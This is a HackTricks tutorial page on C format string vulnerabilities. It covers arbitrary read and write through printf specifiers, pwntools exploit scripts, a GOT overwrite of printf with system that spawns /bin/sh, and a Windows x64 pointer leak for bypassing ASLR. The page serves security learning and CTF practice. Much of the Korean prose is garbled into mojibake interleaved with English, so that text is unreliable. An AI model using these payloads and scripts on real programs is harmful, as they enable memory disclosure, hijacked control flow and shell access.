Format Strings
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
C์์ **printf**๋ ๋ฌธ์์ด์ ์ถ๋ ฅํ๋ ๋ฐ ์ฌ์ฉ๋๋ ํจ์์
๋๋ค. ์ด ํจ์๊ฐ ๊ธฐ๋ํ๋ ์ฒซ ๋ฒ์งธ ํ๋ผ๋ฏธํฐ๋ ํฌ๋งทํฐ๊ฐ ํฌํจ๋ ์์ ํ
์คํธ์
๋๋ค. ์ด์ด์ ์ ๋ฌ๋๋ ํ๋ผ๋ฏธํฐ๋ค์ ์์ ํ
์คํธ์ ํฌ๋งทํฐ๋ฅผ ๋์ฒดํ ๊ฐ๋ค์
๋๋ค.
๋ค๋ฅธ ์ทจ์ฝํ ํจ์๋ก๋ **sprintf()**์ **fprintf()**๊ฐ ์์ต๋๋ค.
์ด ์ทจ์ฝ์ ์ ์ด ํจ์์ ์ฒซ ๋ฒ์งธ ์ธ์๋ก ๊ณต๊ฒฉ์ ํ ์คํธ๊ฐ ์ฌ์ฉ๋ ๋ ๋ฐ์ํฉ๋๋ค. ๊ณต๊ฒฉ์๋ printf format string ๊ธฐ๋ฅ์ ์ ์ฉํด ํน์ํ ์ ๋ ฅ์ ๋ง๋ค์ด ์์์ ์ฃผ์์์ ๋ฐ์ดํฐ๋ฅผ ์ฝ๊ณ ์ธ ์ ์๊ฒ(์ฝ๊ธฐ/์ฐ๊ธฐ ๊ฐ๋ฅ) ๋๋ฉฐ, ์ด๋ฅผ ํตํด ์์์ ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค.
ํฌ๋งทํฐ:
%08x โ> 8 hex bytes
%d โ> Entire
%u โ> Unsigned
%s โ> String
%p โ> Pointer
%n โ> Number of written bytes
%hn โ> Occupies 2 bytes instead of 4
<n>$X โ> Direct access, Example: ("%3$d", var1, var2, var3) โ> Access to var3
์์:
- ์ทจ์ฝํ ์:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- ์ผ๋ฐ ์ฌ์ฉ:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- ์ธ์ ๋๋ฝ ์:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- fprintf ์ทจ์ฝ์ :
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
ํฌ์ธํฐ์ ์ ๊ทผํ๊ธฐ
ํ์ %<n>$x, ์ฌ๊ธฐ์ n์ ์ซ์์ด๋ฉฐ, printf์ ์คํ์์ n๋ฒ์งธ ๋งค๊ฐ๋ณ์๋ฅผ ์ ํํ๋๋ก ์ง์ํ ์ ์์ต๋๋ค. ๋ฐ๋ผ์ printf๋ก ์คํ์ ๋ค ๋ฒ์งธ ๋งค๊ฐ๋ณ์๋ฅผ ์ฝ๊ณ ์ถ๋ค๋ฉด ๋ค์๊ณผ ๊ฐ์ด ํ ์ ์์ต๋๋ค:
printf("%x %x %x %x")
๊ทธ๋ฆฌ๊ณ ์ฒซ ๋ฒ์งธ๋ถํฐ ๋ค ๋ฒ์งธ ํ๋ผ๋ฏธํฐ๋ฅผ ์ฝ๊ฒ ๋ฉ๋๋ค.
๋๋ ๋ค์๊ณผ ๊ฐ์ด ํ ์ ์์ต๋๋ค:
printf("%4$x")
๊ทธ๋ฆฌ๊ณ ๋ฐ๋ก ๋ค ๋ฒ์งธ๋ฅผ ์ฝ์ต๋๋ค.
Notice that the attacker controls the printf ๋งค๊ฐ๋ณ์๋ฅผ ์ ์ดํ๋ค๋ ์ , ์ฆ his input is going to be in the stack when printf is called, which means that he could write specific memory addresses in the stack.
Caution
์ด ์ ๋ ฅ์ ์ ์ดํ๋ ๊ณต๊ฒฉ์๋ ์คํ์ ์์์ ์ฃผ์๋ฅผ ์ถ๊ฐํ๊ณ
printf๋ก ๊ทธ ์ฃผ์๋ค์ ์ ๊ทผํ๊ฒ ํ ์ ์๋ค. ๋ค์ ์น์ ์์ ์ด ๋์์ ํ์ฉํ๋ ๋ฐฉ๋ฒ์ ์ค๋ช ํ๋ค.
Arbitrary Read
Itโs possible to use the formatter %n$s to make printf get the ์ฃผ์ situated in the n ์์น, following it and ๋ฌธ์์ด์ธ ๊ฒ์ฒ๋ผ ์ถ๋ ฅํ๊ฒ ํ๋ค (print until a 0x00 is found). So if the base address of the binary is 0x8048000, and we know that the user input starts in the 4th position in the stack, itโs possible to print the starting of the binary with:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
Caution
์ ๋ ฅ์ ์์์ ์ฃผ์ 0x8048000์ ๋ฃ์ ์ ์๋ค๋ ์ ์ ์ ์ํ์ธ์. ๋ฌธ์์ด์ด ํด๋น ์ฃผ์ ๋์ 0x00์์ ์๋ฆฌ๊ธฐ ๋๋ฌธ์ ๋๋ค.
์คํ์ ์ฐพ๊ธฐ
์
๋ ฅ์ ๋ํ ์คํ์
์ ์ฐพ์ผ๋ ค๋ฉด 4 ๋๋ 8 ๋ฐ์ดํธ (0x41414141)๋ฅผ ๋ณด๋ธ ๋ค์ **%1$x**๋ฅผ ๋ถ์ด๊ณ A's๊ฐ ๋์ฌ ๋๊น์ง ๊ฐ์ ์ฆ๊ฐ์ํค๋ฉด ๋ฉ๋๋ค.
Brute Force printf offset
```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leakfrom pwn import *
Iterate over a range of integers
for i in range(10):
Construct a payload that includes the current integer as offset
payload = fโAAAA%{i}$xโ.encode()
Start a new process of the โchallโ binary
p = process(โ./challโ)
Send the payload to the process
p.sendline(payload)
Read and store the output of the process
output = p.clean()
Check if the string โ41414141โ (hexadecimal representation of โAAAAโ) is in the output
if bโ41414141โ in output:
If the string is found, log the success message and break out of the loop
log.success(fโUser input is at offset : {i}โ) break
Close the process
p.close()
</details>
### ์ ์ฉ์ฑ
Arbitrary reads๋ ๋ค์๊ณผ ๊ฐ์ด ์ ์ฉํฉ๋๋ค:
- **Dump** the **binary** from memory
- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Arbitrary Write**
ํฌ๋งคํฐ **`%<num>$n`**์ ์คํ์ <num> ํ๋ผ๋ฏธํฐ๊ฐ ๊ฐ๋ฆฌํค๋ ์ฃผ์์ ์ง๊ธ๊น์ง ์ถ๋ ฅ๋ ๋ฐ์ดํธ ์๋ฅผ ์๋๋ค. ๊ณต๊ฒฉ์๊ฐ printf๋ก ์ํ๋ ๋งํผ ๋ง์ char๋ฅผ ์ธ ์ ์๋ค๋ฉด, **`%<num>$n`**์ ์ด์ฉํด ์์์ ์ฃผ์์ ์์์ ์ซ์๋ฅผ ์ธ ์ ์๊ฒ ๋ฉ๋๋ค.
๋คํํ๋ ์ซ์ 9999๋ฅผ ์ฐ๊ธฐ ์ํด ์
๋ ฅ์ "A"๋ฅผ 9999๊ฐ ์ถ๊ฐํ ํ์๋ ์์ต๋๋ค. ๋์ ํฌ๋งคํฐ **`%.<num-write>%<num>$n`**์ ์ฌ์ฉํ๋ฉด **`<num-write>`** ์ซ์๋ฅผ **`num` ์์น๊ฐ ๊ฐ๋ฆฌํค๋ ์ฃผ์์** ์ธ ์ ์์ต๋๋ค.
```bash
AAAA%.6000d%4\$n โ> Write 6004 in the address indicated by the 4ยบ param
AAAA.%500\$08x โ> Param at offset 500
ํ์ง๋ง ๋ณดํต 0x08049724 (ํ ๋ฒ์ ์ฐ๊ธฐ์๋ ๋งค์ฐ ํฐ ์) ๊ฐ์ ์ฃผ์๋ฅผ ์ฐ๊ธฐ ์ํด์๋, $n ๋์ $hn์ด ์ฌ์ฉ๋๋ค. ์ด๋ ๊ฒ ํ๋ฉด ์ค์ง 2 Bytes๋ง ์ธ ์ ์๋ค. ๋ฐ๋ผ์ ์ด ์์
์ ์ฃผ์์ ์์ 2B์ ํ์ 2B์ ๋ํด ๊ฐ๊ฐ ๋ ๋ฒ ์ํ๋๋ค.
๋ฐ๋ผ์, ์ด ์ทจ์ฝ์ ์ ์์์ ์ฃผ์์ ์ด๋ค ๊ฐ์ด๋ ์ธ ์ ์๋ค (arbitrary write).
์ด ์์ ์์ ๋ชฉํ๋ ๋์ค์ ํธ์ถ๋ GOT ํ ์ด๋ธ์ ์๋ ํจ์์ ์ฃผ์๋ฅผ ๋ฎ์ด์ฐ๋ ๊ฒ์ด๋ค. ๋ฌผ๋ก ์ด๋ ๋ค๋ฅธ arbitrary write to exec ๊ธฐ๋ฒ์ ์ ์ฉํ ์๋ ์๋ค:
์ฐ๋ฆฌ๋ ์ฌ์ฉ์๋ก๋ถํฐ ์ธ์๋ฅผ ๋ฐ๋ ํจ์๋ฅผ ๋ฎ์ด์จ์ ๊ทธ ํจ์๋ฅผ system ํจ์๋ก ๊ฐ๋ฆฌํค๊ฒ ๋ง๋ค ๊ฒ์ด๋ค.
์์ ์ธ๊ธํ๋ฏ ์ฃผ์๋ฅผ ์ฐ๊ธฐ ์ํด์๋ ๋ณดํต 2๋จ๊ณ๊ฐ ํ์ํ๋ค: ๋จผ์ ์ฃผ์์ 2Bytes๋ฅผ ์ฐ๊ณ ๊ทธ ๋ค์ ๋๋จธ์ง 2Bytes๋ฅผ ์ด๋ค. ์ด๋ฅผ ์ํด **$hn**์ ์ฌ์ฉํ๋ค.
- HOB๋ ์ฃผ์์ ์์ 2Bytes๋ฅผ ๊ฐ๋ฆฌํจ๋ค
- LOB๋ ์ฃผ์์ ํ์ 2Bytes๋ฅผ ๊ฐ๋ฆฌํจ๋ค
๊ทธ ๋ค์, format string์ ๋์ ๋ฐฉ์ ๋๋ฌธ์ [HOB, LOB] ์ค ๋ ์์ ๊ฐ์ ๋จผ์ ์จ์ผ ํ๊ณ ๊ทธ ๋ค์์ ๋๋จธ์ง๋ฅผ ์จ์ผ ํ๋ค.
๋ง์ฝ HOB < LOB[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
๋ง์ฝ HOB > LOB[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NยบParam_dir_HOB LOB_shell-HOB_shell NยบParam_dir_LOB
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
Pwntools ํ ํ๋ฆฟ
์ด๋ฌํ ์ ํ์ ์ทจ์ฝ์ ์ ๋ํ exploit์ ์ค๋นํ๊ธฐ ์ํ ํ ํ๋ฆฟ์ ๋ค์์์ ์ฐพ์ ์ ์์ต๋๋ค:
๋๋ here์ ๊ธฐ๋ณธ ์์ :
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Format Strings to BOF
format string ์ทจ์ฝ์ ์ write ๋์์ ์ ์ฉํ์ฌ write in addresses of the stack๋ฅผ ์ํํ๊ณ buffer overflow ์ ํ์ ์ทจ์ฝ์ ์ ์ ์ฉํ ์ ์๋ค.
Windows x64: Format-string leak to bypass ASLR (no varargs)
Windows x64์์๋ ์ฒซ ๋ค ๊ฐ์ ์ ์/ํฌ์ธํฐ ํ๋ผ๋ฏธํฐ๊ฐ ๋ ์ง์คํฐ(RCX, RDX, R8, R9)๋ฅผ ํตํด ์ ๋ฌ๋๋ค. ๋ง์ ๋ฒ๊ทธ๊ฐ ์๋ ํธ์ถ ์ง์ ์์ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๋ฌธ์์ด์ด format argument๋ก ์ฌ์ฉ๋์ง๋ง variadic arguments๊ฐ ์ ๊ณต๋์ง ์๋ ๊ฒฝ์ฐ๊ฐ ๋ง๋ค. ์๋ฅผ ๋ค์ด:
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
varargs๊ฐ ์ ๋ฌ๋์ง ์๊ธฐ ๋๋ฌธ์ โ%pโ, โ%xโ, โ%sโ ๊ฐ์ ๋ณํ์ CRT๊ฐ ์ ์ ํ ๋ ์ง์คํฐ์์ ๋ค์ ๊ฐ๋ณ ์ธ์๋ฅผ ์ฝ๋๋ก ๋ง๋ญ๋๋ค. Microsoft x64 calling convention์์๋ โ%pโ์ ๋ํ ์ฒซ ๋ฒ์งธ ์ฝ๊ธฐ๊ฐ R9์์ ์ด๋ฃจ์ด์ง๋๋ค. ํธ์ถ ์ง์ ์์ R9์ ์๋ ์ด๋ค ์ผ์์ ๊ฐ์ด๋ ์ถ๋ ฅ๋ฉ๋๋ค. ์ค์ ๋ก ์ด๋ ์ข ์ข ์์ ์ ์ธ in-module pointer๋ฅผ leakํ๋๋ฐ(์: ์ฃผ๋ณ ์ฝ๋์ ์ํด ์ด์ ์ R9์ ๋ฐฐ์น๋ ๋ก์ปฌ/๊ธ๋ก๋ฒ ๊ฐ์ฒด์ ๋ํ ํฌ์ธํฐ ๋๋ callee-saved ๊ฐ), ์ด๋ module base๋ฅผ ๋ณต๊ตฌํ๊ณ ASLR์ ๋ฌด๋ ฅํํ๋ ๋ฐ ์ฌ์ฉ๋ ์ ์์ต๋๋ค.
Practical workflow:
- ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๋ฌธ์์ด์ ๋งจ ์์ โ%p โ ๊ฐ์ ๋ฌดํดํ ํฌ๋งท์ ์ฃผ์ ํ์ฌ ์ฒซ ๋ฒ์งธ ๋ณํ์ด ํํฐ๋ง ์ ์ ์คํ๋๋๋ก ํฉ๋๋ค.
- leaked pointer๋ฅผ ์บก์ฒํ๊ณ , ํด๋น ๊ฐ์ฒด์ ๋ชจ๋ ๋ด ์ ์ ์คํ์
์ ์๋ณํ ๋ค์(์ฌ๋ณผ์ด๋ ๋ก์ปฌ ๋ณต์ฌ๋ณธ์ผ๋ก ํ ๋ฒ ๋ฆฌ๋ฒ์ฑํ์ฌ) image base๋ฅผ
leak - known_offset์ผ๋ก ๋ณต์ํฉ๋๋ค. - ๊ทธ base๋ฅผ ์ฌ์ฌ์ฉํ์ฌ ROP gadgets ๋ฐ IAT entries์ ์ ๋ ์ฃผ์๋ฅผ ์๊ฒฉ์ผ๋ก ๊ณ์ฐํฉ๋๋ค.
Example (abbreviated python):
from pwn import remote
# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
base = leaked - 0x20660 # module base = leak - offset
print(hex(leaked), hex(base))
๋ ธํธ:
- ๋นผ์ผ ํ ์ ํํ offset์ ๋ก์ปฌ reversing ์ค์ ํ ๋ฒ ์ฐพ์ ๋ค ์ฌ์ฌ์ฉํ๋ค (same binary/version).
- โ%pโ๊ฐ ์ฒซ ์๋์์ ์ ํจํ ํฌ์ธํฐ๋ฅผ ์ถ๋ ฅํ์ง ์์ผ๋ฉด, ๋ค๋ฅธ ์ง์ ์(โ%llxโ, โ%sโ)๋ ์ฌ๋ฌ ๋ณํ(โ%p %p %pโ)์ ์๋ํด ๋ค๋ฅธ argument registers/stack๋ฅผ ์ํ๋งํด๋ณด์.
- ์ด ํจํด์ Windows x64 calling convention๊ณผ format ๋ฌธ์์ด์ด ์์ฒญํ ๋ ์กด์ฌํ์ง ์๋ varargs๋ฅผ registers์์ ๊ฐ์ ธ์ค๋ printf-family ๊ตฌํ์ ํนํ๋์ด ์๋ค.
์ด ๊ธฐ๋ฒ์ ASLR์ด ์ ์ฉ๋๊ณ ๋ช ๋ฐฑํ memory disclosure primitives๊ฐ ์๋ Windows ์๋น์ค์์ ROP๋ฅผ ๋ถํธ์คํธ๋ฉํ๋ ๋ฐ ๋งค์ฐ ์ ์ฉํ๋ค.
Other Examples & References
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bit, no relro, no canary, nx, no pie, format strings๋ฅผ ์ฌ์ฉํด stack์์ flag๋ฅผ leakํ๋ ๊ธฐ๋ณธ์ ์ธ ์ (execution flow๋ฅผ ๋ณ๊ฒฝํ ํ์ ์์)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, no canary, nx, no pie, format string์ผ๋ก fflush์ ์ฃผ์๋ฅผ win ํจ์(ret2win)๋ก ๋ฎ์ด์ฐ๊ธฐ
- https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bit, relro, no canary, nx, no pie, main ๋ด๋ถ์
.fini_array์ ์ฃผ์๋ฅผ ์ฐ๊ฒ ํด ํ๋ฆ์ ํ ๋ฒ ๋ ๋ฃจํ์ํค๊ณ GOT ํ ์ด๋ธ์strlen์system์ผ๋ก ๋ฎ์ด์ด๋ค. ํ๋ฆ์ด ๋ค์ main์ผ๋ก ๋์์ค๋ฉดstrlen์ด ์ฌ์ฉ์ ์ ๋ ฅ๊ณผ ํจ๊ป ์คํ๋๊ณsystem์ ๊ฐ๋ฆฌํค๋ฏ๋ก ์ ๋ฌ๋ ๋ช ๋ น์ด ์คํ๋๋ค.
References
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


